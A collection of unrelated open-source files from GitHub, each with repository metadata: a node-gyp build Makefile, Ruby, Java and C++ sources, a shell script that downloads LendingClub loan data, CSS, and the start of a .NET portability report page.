# - Set SONAME to the library filename so our binaries don't reference
# the local, absolute paths used on the link command-line.
quiet_cmd_solink = SOLINK($(TOOLSET)) $@
cmd_solink = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--whole-archive $(LD_INPUTS) -Wl,--no-whole-archive $(LIBS)
quiet_cmd_solink_module = SOLINK_MODULE($(TOOLSET)) $@
cmd_solink_module = $(LINK.$(TOOLSET)) -shared $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -Wl,-soname=$(@F) -o $@ -Wl,--start-group $(filter-out FORCE_DO_CMD, $^) -Wl,--end-group $(LIBS)
# Define an escape_quotes function to escape single quotes.
# This allows us to handle quotes properly as long as we always use
# use single quotes and escape_quotes.
escape_quotes = $(subst ','\'',$(1))
# This comment is here just to include a ' to unconfuse syntax highlighting.
# Define an escape_vars function to escape '$' variable syntax.
# This allows us to read/write command lines with shell variables (e.g.
# $LD_LIBRARY_PATH), without triggering make substitution.
escape_vars = $(subst $$,$$$$,$(1))
# Helper that expands to a shell command to echo a string exactly as it is in
# make. This uses printf instead of echo because printf's behaviour with respect
# to escape sequences is more portable than echo's across different shells
# (e.g., dash, bash).
exact_echo = printf '%s\n' '$(call escape_quotes,$(1))'
# Helper to compare the command we're about to run against the command
# we logged the last time we ran the command. Produces an empty
# string (false) when the commands match.
# Tricky point: Make has no string-equality test function.
# The kernel uses the following, but it seems like it would have false
# positives, where one string reordered its arguments.
# arg_check = $(strip $(filter-out $(cmd_$(1)), $(cmd_$@)) \
# $(filter-out $(cmd_$@), $(cmd_$(1))))
# We instead substitute each for the empty string into the other, and
# say they're equal if both substitutions produce the empty string.
# .d files contain ? instead of spaces, take that into account.
command_changed = $(or $(subst $(cmd_$(1)),,$(cmd_$(call replace_spaces,$@))),\
$(subst $(cmd_$(call replace_spaces,$@)),,$(cmd_$(1))))
# Helper that is non-empty when a prerequisite changes.
# Normally make does this implicitly, but we force rules to always run
# so we can check their command lines.
# $? -- new prerequisites
# $| -- order-only dependencies
prereq_changed = $(filter-out FORCE_DO_CMD,$(filter-out $|,$?))
# Helper that executes all postbuilds until one fails.
define do_postbuilds
@E=0;\
for p in $(POSTBUILDS); do\
eval $$p;\
E=$$?;\
if [ $$E -ne 0 ]; then\
break;\
fi;\
done;\
if [ $$E -ne 0 ]; then\
rm -rf "$@";\
exit $$E;\
fi
endef
# do_cmd: run a command via the above cmd_foo names, if necessary.
# Should always run for a given target to handle command-line changes.
# Second argument, if non-zero, makes it do asm/C/C++ dependency munging.
# Third argument, if non-zero, makes it do POSTBUILDS processing.
# Note: We intentionally do NOT call dirx for depfile, since it contains ? for
# spaces already and dirx strips the ? characters.
define do_cmd
$(if $(or $(command_changed),$(prereq_changed)),
@$(call exact_echo, $($(quiet)cmd_$(1)))
@mkdir -p "$(call dirx,$@)" "$(dir $(depfile))"
$(if $(findstring flock,$(word 1,$(cmd_$1))),
@$(cmd_$(1))
@echo " $(quiet_cmd_$(1)): Finished",
@$(cmd_$(1))
)
@$(call exact_echo,$(call escape_vars,cmd_$(call replace_spaces,$@) := $(cmd_$(1)))) > $(depfile)
@$(if $(2),$(fixup_dep))
$(if $(and $(3), $(POSTBUILDS)),
$(call do_postbuilds)
)
)
endef
# Declare the "all" target first so it is the default,
# even though we don't have the deps yet.
.PHONY: all
all:
# make looks for ways to re-generate included makefiles, but in our case, we
# don't have a direct way. Explicitly telling make that it has nothing to do
# for them makes it go faster.
%.d: ;
# Use FORCE_DO_CMD to force a target to run. Should be coupled with
# do_cmd.
.PHONY: FORCE_DO_CMD
FORCE_DO_CMD:
TOOLSET := target
# Suffix rules, putting all outputs into $(obj).
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.c FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.cc FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.cpp FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.cxx FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.S FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(srcdir)/%.s FORCE_DO_CMD
@$(call do_cmd,cc,1)
# Try building from generated source, too.
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.c FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.cc FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.cpp FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.cxx FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.S FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(obj).$(TOOLSET)/%.s FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.c FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.cc FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.cpp FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.cxx FORCE_DO_CMD
@$(call do_cmd,cxx,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.S FORCE_DO_CMD
@$(call do_cmd,cc,1)
$(obj).$(TOOLSET)/%.o: $(obj)/%.s FORCE_DO_CMD
@$(call do_cmd,cc,1)
ifeq ($(strip $(foreach prefix,$(NO_LOAD),\
$(findstring $(join ^,$(prefix)),\
$(join ^,node_sleep.target.mk)))),)
include node_sleep.target.mk
endif
quiet_cmd_regen_makefile = ACTION Regenerating $@
cmd_regen_makefile = cd $(srcdir); /usr/lib/node_modules/npm/node_modules/node-gyp/gyp/gyp_main.py -fmake --ignore-environment "--toplevel-dir=." "-I/home/pi/Desktop/Node.js Robotics Tutorials/example1/node_modules/sleep/build/config.gypi" -I/usr/lib/node_modules/npm/node_modules/node-gyp/addon.gypi -I/home/pi/.node-gyp/6.11.0/include/node/common.gypi "--depth=." "-Goutput_dir=." "--generator-output=build" "-Dlibrary=shared_library" "-Dvisibility=default" "-Dnode_root_dir=/home/pi/.node-gyp/6.11.0" "-Dnode_gyp_dir=/usr/lib/node_modules/npm/node_modules/node-gyp" "-Dnode_lib_file=node.lib" "-Dmodule_root_dir=/home/pi/Desktop/Node.js Robotics Tutorials/example1/node_modules/sleep" binding.gyp
Makefile: $(srcdir)/../../../../../.node-gyp/6.11.0/include/node/common.gypi $(srcdir)/build/config.gypi $(srcdir)/binding.gyp $(srcdir)/../../../../../../../usr/lib/node_modules/npm/node_modules/node-gyp/addon.gypi
$(call do_cmd,regen_makefile)
# "all" is a concatenation of the "all" targets from all the included
# sub-makefiles. This is just here to clarify.
all:
# Add in dependency-tracking rules. $(all_deps) is the list of every single
# target in our tree. Only consider the ones with .d (dependency) info:
d_files := $(wildcard $(foreach f,$(all_deps),$(depsdir)/$(f).d))
ifneq ($(d_files),)
include $(d_files)
endif
| {
"content_hash": "6363ee646c560e5f8b1052b8c2be2b6c",
"timestamp": "",
"source": "github",
"line_count": 318,
"max_line_length": 699,
"avg_line_length": 39.37735849056604,
"alnum_prop": 0.6632327104296438,
"repo_name": "MozCCBham/RaspberryPiNodebots",
"id": "786f35ed6a2c3532c7852abbba29b824168278b2",
"size": "12852",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "nodebots/example1/node_modules/sleep/build/Makefile",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "845"
},
{
"name": "JavaScript",
"bytes": "17517"
},
{
"name": "Makefile",
"bytes": "117"
}
],
"symlink_target": ""
} |
JsonapiSpecHelpers::Payload.register(:event_with_metadata) do
key(:lims_id, String, description: 'Short identifier indicating the originating lims')
key(:occured_at, String, description: 'Time at which the event occurred (ISO 8601)')
key(:user_identifier, String, description: 'A unique identifier for the user who performed the event,
such as an email address')
key(:metadata, Hash, description: 'Key-value pairs of event metadata')
end
| {
"content_hash": "597214e375456db1829d8e2b04861681",
"timestamp": "",
"source": "github",
"line_count": 7,
"max_line_length": 103,
"avg_line_length": 64,
"alnum_prop": 0.7633928571428571,
"repo_name": "JamesGlover/event_warehouse",
"id": "bd28ff9a1f1c9a811d4d4102ea31dbc3e81ebeb3",
"size": "479",
"binary": false,
"copies": "2",
"ref": "refs/heads/production",
"path": "spec/payloads/event_with_metadata.rb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "HTML",
"bytes": "373"
},
{
"name": "Ruby",
"bytes": "126860"
},
{
"name": "Shell",
"bytes": "1234"
}
],
"symlink_target": ""
} |
package jfxtras.internal.scene.control.skin.agenda.base24hour;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.TimeZone;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.scene.input.MouseButton;
import javafx.scene.layout.Pane;
import javafx.scene.shape.Rectangle;
import javafx.scene.text.Text;
import jfxtras.internal.scene.control.skin.DateTimeToCalendarHelper;
import jfxtras.internal.scene.control.skin.agenda.AllAppointments;
import jfxtras.scene.control.agenda.Agenda;
import jfxtras.scene.control.agenda.Agenda.Appointment;
import jfxtras.util.NodeUtil;
/**
* Responsible for rendering the day header (whole day appointments).
*/
public class DayHeaderPane extends Pane {
public DayHeaderPane(LocalDate localDate, AllAppointments allAppointments, LayoutHelp layoutHelp) {
this.localDateObjectProperty.set(localDate);
this.allAppointments = allAppointments;
this.layoutHelp = layoutHelp;
construct();
}
final ObjectProperty<LocalDate> localDateObjectProperty = new SimpleObjectProperty<LocalDate>(this, "localDate");
final AllAppointments allAppointments;
final LayoutHelp layoutHelp;
private void construct() {
// for debugging setStyle("-fx-border-color:PINK;-fx-border-width:4px;");
getStyleClass().add("DayHeader");
// set day label
dayText = new Text("?");
dayText.getStyleClass().add("DayLabel");
dayText.setX( layoutHelp.paddingProperty.get() ); // align left
dayText.setY( dayText.prefHeight(0) );
getChildren().add(dayText);
// clip the visible part
Rectangle lClip = new Rectangle(0,0,0,0);
lClip.widthProperty().bind(widthProperty().subtract(layoutHelp.paddingProperty.get()));
lClip.heightProperty().bind(heightProperty());
dayText.setClip(lClip);
// react to changes in the calendar by updating the label
localDateObjectProperty.addListener( (observable) -> {
setLabel();
});
setLabel();
// react to changes in the appointments
allAppointments.addOnChangeListener( () -> {
setupAppointments();
});
setupAppointments();
// setup the create appointment
setupMouse();
}
private void setLabel() {
String lLabel = localDateObjectProperty.get().format(layoutHelp.dayOfWeekDateTimeFormatter)
+ " "
+ localDateObjectProperty.get().format(layoutHelp.dateDateTimeFormatter)
;
dayText.setText(lLabel);
// for testing
setId("DayHeader" + localDateObjectProperty.get());
}
private Text dayText = new Text("?");
/**
*
*/
public void setupAppointments() {
// remove all appointments
getChildren().removeAll(appointmentHeaderPanes);
appointmentHeaderPanes.clear();
// for all wholeday appointments on this date, create a header appointment pane
appointments.clear();
appointments.addAll( allAppointments.collectWholedayFor(localDateObjectProperty.get()) );
int lCnt = 0;
for (Appointment lAppointment : appointments) {
// create pane
AppointmentWholedayHeaderPane lAppointmentHeaderPane = new AppointmentWholedayHeaderPane(lAppointment, layoutHelp);
getChildren().add(lAppointmentHeaderPane);
appointmentHeaderPanes.add(lAppointmentHeaderPane);
lAppointmentHeaderPane.setId(lAppointmentHeaderPane.getClass().getSimpleName() + localDateObjectProperty.get() + "/" + lCnt); // for testing
// position by binding
lAppointmentHeaderPane.layoutXProperty().bind(layoutHelp.wholedayAppointmentFlagpoleWidthProperty.multiply(lCnt)); // each pane is cascade offset to the right to allow connecting to the wholeday appointment on the day pane
lAppointmentHeaderPane.layoutYProperty().bind(heightProperty().subtract(layoutHelp.appointmentHeaderPaneHeightProperty.multiply(appointments.size() - lCnt))); // each pane is cascaded offset down so the title label is visible
lAppointmentHeaderPane.prefWidthProperty().bind(widthProperty().subtract(layoutHelp.wholedayAppointmentFlagpoleWidthProperty.multiply(lCnt))); // make sure the size matches the cascading
lAppointmentHeaderPane.prefHeightProperty().bind(heightProperty().subtract(lAppointmentHeaderPane.layoutYProperty())); // and the height reaches all the way to the bottom to connect to the flagpole
lCnt++;
}
}
final private List<Appointment> appointments = new ArrayList<>();
final private List<AppointmentWholedayHeaderPane> appointmentHeaderPanes = new ArrayList<>();
/**
* So the out view knows how much room (height) we need
* @return
*/
public int getNumberOfWholeDayAppointments() {
return appointments.size();
}
/**
*
*/
private void setupMouse() {
// start new appointment
setOnMousePressed((mouseEvent) -> {
// only on primary
if (mouseEvent.getButton().equals(MouseButton.PRIMARY) == false) {
return;
}
// if there is no one to handle the result, don't even bother
if (layoutHelp.skinnable.createAppointmentCallbackProperty().get() == null && layoutHelp.skinnable.newAppointmentCallbackProperty().get() == null) {
return;
}
// no one else
mouseEvent.consume();
// calculate the starttime
LocalDateTime lStartDateTime = localDateObjectProperty.get().atStartOfDay();
LocalDateTime lEndDateTime = lStartDateTime.plusDays(1);
// ask the control to create a new appointment (null may be returned)
Agenda.Appointment lAppointment;
if (layoutHelp.skinnable.newAppointmentCallbackProperty().get() != null) {
lAppointment = layoutHelp.skinnable.newAppointmentCallbackProperty().get().call(new Agenda.LocalDateTimeRange(lStartDateTime, lEndDateTime));
}
else {
lAppointment = layoutHelp.skinnable.createAppointmentCallbackProperty().get().call( new Agenda.CalendarRange(
DateTimeToCalendarHelper.createCalendarFromLocalDateTime(lStartDateTime, TimeZone.getDefault(), Locale.getDefault()),
DateTimeToCalendarHelper.createCalendarFromLocalDateTime(lEndDateTime, TimeZone.getDefault(), Locale.getDefault())
));
}
if (lAppointment != null) {
lAppointment.setWholeDay(true);
layoutHelp.skinnable.appointments().add(lAppointment); // the appointments collection is listened to, so they will automatically be refreshed
}
});
}
/**
*
* @param x scene coordinate
* @param y scene coordinate
* @return a localDateTime where nano seconds == 0
*/
LocalDateTime convertClickInSceneToDateTime(double x, double y) {
Rectangle r = new Rectangle(NodeUtil.sceneX(this), NodeUtil.sceneY(this), this.getWidth(), this.getHeight());
if (r.contains(x, y)) {
LocalDate localDate = localDateObjectProperty.get();
LocalDateTime localDateTime = localDate.atStartOfDay();
localDateTime = localDateTime.withNano(AppointmentAbstractPane.DRAG_DAYHEADER); // we abuse the nano second to deviate body panes from header panes
return localDateTime;
}
return null;
}
} | {
"content_hash": "842333cdf6bdd11e0b48985ece21fef4",
"timestamp": "",
"source": "github",
"line_count": 186,
"max_line_length": 229,
"avg_line_length": 38.3494623655914,
"alnum_prop": 0.7330716388616291,
"repo_name": "palawchust/jfxtras",
"id": "6890335d69d8b259c8535f6f409936526e42a2a1",
"size": "8734",
"binary": false,
"copies": "2",
"ref": "refs/heads/8.0",
"path": "jfxtras-agenda/src/main/java/jfxtras/internal/scene/control/skin/agenda/base24hour/DayHeaderPane.java",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "CSS",
"bytes": "15313"
},
{
"name": "Java",
"bytes": "1207638"
}
],
"symlink_target": ""
} |
namespace clotho {
namespace genetics {
template < class AlleleType >
struct trait_helper_of;
} // namespace genetics
} // namespace clotho
#endif // CLOTHO_TRAIT_HELPER_OF_HPP_
| {
"content_hash": "bb545d2b033ebbfd0d6c1cc8766b004a",
"timestamp": "",
"source": "github",
"line_count": 10,
"max_line_length": 38,
"avg_line_length": 18.6,
"alnum_prop": 0.7150537634408602,
"repo_name": "putnampp/clotho",
"id": "af08d7fa726f1091c3367f49e65a241767023802",
"size": "870",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "include/clotho/data_spaces/trait_helper_of.hpp",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "C",
"bytes": "2235"
},
{
"name": "C++",
"bytes": "1925404"
},
{
"name": "CMake",
"bytes": "30518"
},
{
"name": "Cuda",
"bytes": "65398"
},
{
"name": "Makefile",
"bytes": "331"
},
{
"name": "Python",
"bytes": "8217"
}
],
"symlink_target": ""
} |
/*
* FPGAState.h
*
* Created on: Feb 7, 2015
* Author: carl, james
*/
#ifndef FPGASTATE_H_
#define FPGASTATE_H_
#include <list>
#include <vector>
#include "State.h"
#include "FPGAData.h"
/**
* FPGAState is an Observable used by FPGAModel to hold data sent from the FPGA.
*/
class FPGAState : public State {
private:
Logger* logger = new Logger("FPGAState");
//all of this class' variables are inherited from its parent (State.h)
protected:
std::list<std::vector<FPGAData*>> stateData;
public:
/**
* constructor
*/
FPGAState(int stateID, uint32_t bufferSize);
/**
* destructor
*/
virtual ~FPGAState();
/**
* Returns a deep copy of the FPGA data specified with the _ID_ at _i_ frames before this call
* @param id = id of the FPGA data that is needed
* @param i = how many frames ago was the FPGA data was stored (zero indexed; newest frame = 0)
* @return returns the pointer to a deep copied FPGA data
*/
virtual FPGAData* getState (std::string id, uint32_t i);
/**
* Returns a deep copy of the newest FPGA data specified with the _ID_
* @param id = id of the FPGA data that is needed
* @return returns the pointer to a deep copied FPGA data
*/
virtual FPGAData* getState (std::string id);
/**
* Sets the FPGA state
* SHOULD ONLY BE CALLED AFTER startFrame() IS CALLED
* @param d = Pointer to FPGA data to be set for this frame
* @return an int indicating whether the operation was successful
* - 0 = successful
* - 1 = called this function before startFrame is called
*/
//int setState(FPGAData* d);
/**
* Same thing as setState, except it takes an entire vector of FPGA data instead of 1 data
* Sets the FPGA state
* SHOULD ONLY BE CALLED AFTER startFrame() IS CALLED
* @param d = vector of FPGA data to be set for this frame
* @return an int indicating whether the operation was successful
* - 0 = successful
* - 1 = called this function before startFrame is called
*/
int setState(std::vector<FPGAData*> d);
/**
* Gets a pointer to a deep copy of the newest raw FPGA data
* @param data = pointer to the deep copy of the raw FPGA data
*/
virtual FPGAData* getRaw();
/**
* Gets a pointer to the deep copy of the raw FPGA data _i_ frames before
* @param i = how many frames ago the raw FPGA data was recorded (zero indexed; newest frame = 0)
* @param data = pointer to the deep copy of the raw FPGA data _i_ frames before this function call
* @return returns an int to indicate if the operation was successful
* - 0 = success
* - 1 = index out of range
*/
virtual FPGAData* getRaw(uint32_t i);
};
#endif /* FPGASTATE_H_ */
| {
"content_hash": "e5b1788032a063a6bcd72e0c869fda87",
"timestamp": "",
"source": "github",
"line_count": 94,
"max_line_length": 103,
"avg_line_length": 31.095744680851062,
"alnum_prop": 0.6199110502907971,
"repo_name": "James534/SubZero",
"id": "f5765f052daab109de63460b1ed5e387ff11b3e1",
"size": "2923",
"binary": false,
"copies": "4",
"ref": "refs/heads/model-0.0",
"path": "SubZero/src/model/state/FPGAState.h",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Assembly",
"bytes": "1789"
},
{
"name": "C",
"bytes": "69024"
},
{
"name": "C++",
"bytes": "323459"
},
{
"name": "HTML",
"bytes": "295651"
},
{
"name": "Makefile",
"bytes": "46645"
},
{
"name": "QMake",
"bytes": "7082"
},
{
"name": "Standard ML",
"bytes": "32"
},
{
"name": "SystemVerilog",
"bytes": "503833"
},
{
"name": "Tcl",
"bytes": "25235"
},
{
"name": "Verilog",
"bytes": "1679836"
}
],
"symlink_target": ""
} |
echo "Time to download some data!"
mkdir -p ../historical_data
cd ../historical_data
rm LoanStats3*
rm RejectStats*
rm LCDataDictionary.xlsx
wget https://resources.lendingclub.com/LCDataDictionary.xlsx
wget https://resources.lendingclub.com/LoanStats3a_securev1.csv.zip
unzip LoanStats3a_securev1.csv.zip
sed -i '' '1d' LoanStats3a_securev1.csv
sed -i '' '$d' LoanStats3a_securev1.csv
sed -i '' '$d' LoanStats3a_securev1.csv
sed -i '' '/Loans that do not meet the credit policy/d' LoanStats3a_securev1.csv
# Deletes empty lines
sed -i '' '/^$/d' LoanStats3a_securev1.csv
wget https://resources.lendingclub.com/LoanStats3b_securev1.csv.zip
unzip LoanStats3b_securev1.csv.zip
sed -i '' 's/Infinity/Infinite/' LoanStats3b_securev1.csv
sed -i '' 's/infinity/infinite/' LoanStats3b_securev1.csv
sed -i '' '1d' LoanStats3b_securev1.csv
sed -i '' '$d' LoanStats3b_securev1.csv
sed -i '' '$d' LoanStats3b_securev1.csv
sed -i '' '/^$/d' LoanStats3b_securev1.csv
wget https://resources.lendingclub.com/LoanStats3c_securev1.csv.zip
unzip LoanStats3c_securev1.csv.zip
sed -i '' '1d' LoanStats3c_securev1.csv
sed -i '' '$d' LoanStats3c_securev1.csv
sed -i '' '$d' LoanStats3c_securev1.csv
sed -i '' '/^$/d' LoanStats3c_securev1.csv
wget https://resources.lendingclub.com/RejectStatsA.csv.zip
unzip RejectStatsA.csv.zip
sed -i '' '1d' RejectStatsA.csv
wget https://resources.lendingclub.com/RejectStatsB.csv.zip
unzip RejectStatsB.csv.zip
sed -i '' '1d' RejectStatsB.csv
rm *.zip
| {
"content_hash": "00332f9465b5910666627910d0d88a71",
"timestamp": "",
"source": "github",
"line_count": 43,
"max_line_length": 80,
"avg_line_length": 34.30232558139535,
"alnum_prop": 0.7491525423728813,
"repo_name": "ahuus1/lending-club-elasticsearch",
"id": "4380a502503d506e6405cd586ee38b3d86e2ce7b",
"size": "1485",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "scripts/download_historical_note_data.sh",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "3990"
},
{
"name": "Shell",
"bytes": "1485"
}
],
"symlink_target": ""
} |
.instructions{
border: solid;
border-radius: 5px;
background-color: #ec971f; /*orange*/
margin-top: 10px;
position: relative;
}
.instructions h2{
padding: 5px;
}
.btn-success{
border: solid;
border-radius: 5px;
color: #fff;
/*background-color: #337ab7;*/
border-color: #FFFFFF;
border-width: 3px;
display: inline-block;
}
.btn-success:hover{
border-color: #FFFFFF;
}
.btn-success{
position: absolute;
bottom: 0px;
margin: 0px;
right: 10px;
}
.instructions ul li{
padding-right: 100px;
} | {
"content_hash": "1efe09c138c3252655aab93cd8ccfb84",
"timestamp": "",
"source": "github",
"line_count": 36,
"max_line_length": 41,
"avg_line_length": 15.75,
"alnum_prop": 0.6172839506172839,
"repo_name": "akowalz/regex-adventures",
"id": "c0e19df44ed9f70c4d7050f856a53c253d62fb12",
"size": "567",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "app/css/instructions.css",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "202772"
},
{
"name": "JavaScript",
"bytes": "90717"
}
],
"symlink_target": ""
} |
require "active_support/core_ext/hash/deep_merge"
module ActiveSupport
class OptionMerger #:nodoc:
instance_methods.each do |method|
undef_method(method) unless method.match?(/^(__|instance_eval|class|object_id)/)
end
def initialize(context, options)
@context, @options = context, options
end
private
def method_missing(method, *arguments, &block)
if arguments.first.is_a?(Proc)
proc = arguments.pop
arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
elsif arguments.last.respond_to?(:to_hash)
arguments << @options.deep_merge(arguments.pop)
else
arguments << @options.dup
end
@context.__send__(method, *arguments, &block)
end
end
end
| {
"content_hash": "4b107b9a588f5b94dd7d081355138435",
"timestamp": "",
"source": "github",
"line_count": 27,
"max_line_length": 86,
"avg_line_length": 29.11111111111111,
"alnum_prop": 0.6272264631043257,
"repo_name": "arunagw/rails",
"id": "fdd954b7601a2cafc0062c8691508914cb1ab760",
"size": "817",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "activesupport/lib/active_support/option_merger.rb",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "53461"
},
{
"name": "CoffeeScript",
"bytes": "24531"
},
{
"name": "HTML",
"bytes": "494925"
},
{
"name": "JavaScript",
"bytes": "185220"
},
{
"name": "Ruby",
"bytes": "13094216"
},
{
"name": "Shell",
"bytes": "4531"
},
{
"name": "Yacc",
"bytes": "983"
}
],
"symlink_target": ""
} |
<!DOCTYPE html>
<html xmlns:msxsl="urn:schemas-microsoft-com:xslt">
<head>
<meta content="en-us" http-equiv="Content-Language" />
<meta content="text/html; charset=utf-16" http-equiv="Content-Type" />
<title _locid="PortabilityAnalysis0">.NET Portability Report</title>
<style>
/* Body style, for the entire document */
body {
background: #F3F3F4;
color: #1E1E1F;
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
padding: 0;
margin: 0;
}
/* Header1 style, used for the main title */
h1 {
padding: 10px 0px 10px 10px;
font-size: 21pt;
background-color: #E2E2E2;
border-bottom: 1px #C1C1C2 solid;
color: #201F20;
margin: 0;
font-weight: normal;
}
/* Header2 style, used for "Overview" and other sections */
h2 {
font-size: 18pt;
font-weight: normal;
padding: 15px 0 5px 0;
margin: 0;
}
/* Header3 style, used for sub-sections, such as project name */
h3 {
font-weight: normal;
font-size: 15pt;
margin: 0;
padding: 15px 0 5px 0;
background-color: transparent;
}
h4 {
font-weight: normal;
font-size: 12pt;
margin: 0;
padding: 0 0 0 0;
background-color: transparent;
}
/* Color all hyperlinks one color */
a {
color: #1382CE;
}
/* Paragraph text (for longer informational messages) */
p {
font-size: 10pt;
}
/* Table styles */
table {
border-spacing: 0 0;
border-collapse: collapse;
font-size: 10pt;
}
table th {
background: #E7E7E8;
text-align: left;
text-decoration: none;
font-weight: normal;
padding: 3px 6px 3px 6px;
}
table td {
vertical-align: top;
padding: 3px 6px 5px 5px;
margin: 0px;
border: 1px solid #E7E7E8;
background: #F7F7F8;
}
.NoBreakingChanges {
color: darkgreen;
font-weight:bold;
}
.FewBreakingChanges {
color: orange;
font-weight:bold;
}
.ManyBreakingChanges {
color: red;
font-weight:bold;
}
.BreakDetails {
margin-left: 30px;
}
.CompatMessage {
font-style: italic;
font-size: 10pt;
}
.GoodMessage {
color: darkgreen;
}
/* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */
.localLink {
color: #1E1E1F;
background: #EEEEED;
text-decoration: none;
}
.localLink:hover {
color: #1382CE;
background: #FFFF99;
text-decoration: none;
}
/* Center text, used in the over views cells that contain message level counts */
.textCentered {
text-align: center;
}
/* The message cells in message tables should take up all avaliable space */
.messageCell {
width: 100%;
}
/* Padding around the content after the h1 */
#content {
padding: 0px 12px 12px 12px;
}
/* The overview table expands to width, with a max width of 97% */
#overview table {
width: auto;
max-width: 75%;
}
/* The messages tables are always 97% width */
#messages table {
width: 97%;
}
/* All Icons */
.IconSuccessEncoded, .IconInfoEncoded, .IconWarningEncoded, .IconErrorEncoded {
min-width: 18px;
min-height: 18px;
background-repeat: no-repeat;
background-position: center;
}
/* Success icon encoded */
.IconSuccessEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconSuccess#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABPElEQVR4Xp1Tv0vDUBi8FqeA4NpBcBLcWnQSApncOnTo4FSnjP0DsnXpH5CxiwbHDg4Zuj4oOEXiJgiC4FDcCkLWmIMc1Pfw+eMgQ77v3Xf3Pe51YKGqqisAEwCR1TIAsiAIblSo6xrdHeJR85Xle3mdmCQKb0PsfqyxxzM8K15HZADl/H5+sHpZwYfxyRjTs+kWwKBx8yoHd2mRiuzF8mkJniWH/13u3Fjrs/EdhsdDFHGB/DLXEJBDLh1MWPAhPo1BLB4WX5yQywHR+m3tVe/t97D52CB/ziG0nIgD/qDuYg8WuCcVZ2YGwlJ3YDugkpR/VNcAEx6GEKhERSr71FuO4YCM4XBdwKvecjIlkSnsO0Hyp/GxSeJAdzBKzpOtnPwyyiPdAZhpZptT04tU+zk7s8czeges//s5C5+CwqrR4/gw+AAAAABJRU5ErkJggg==);
}
/* Information icon encoded */
.IconInfoEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconInformation#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABHElEQVR4Xs2TsUoDQRRF7wwoziokjZUKadInhdhukR9YP8DMX1hYW+QvdsXa/QHBbcXC7W0CamWTQnclFutceIQJwwaWNLlwm5k5d94M76mmaeCrrmsLYOocY12FcxZFUeozCqKqqgYA8uevv1H6VuPxcwlfk5N92KHBxfFeCSAxxswlYAW/Xr989x/mv9gkhtyMDhcAxgzRsp7flj8B/HF1RsMXq+NZMkopaHe7lbKxQUEIGbKsYNoGn969060hZBkQex/W8oRQwsQaW2o3Ago2SVcJUzAgY3N0lTCZZm+zPS8HB51gMmS1DEYyOz9acKO1D8JWTlafKIMxdhvlfdyT94Vv5h7P8Ky7nQzACmhvKq3zk3PjW9asz9D/1oigecsioooAAAAASUVORK5CYII=);
}
/* Warning icon encoded */
.IconWarningEncoded {
/* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */
/* [---XsltValidateInternal-Base64EncodedImage:IconWarning#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */
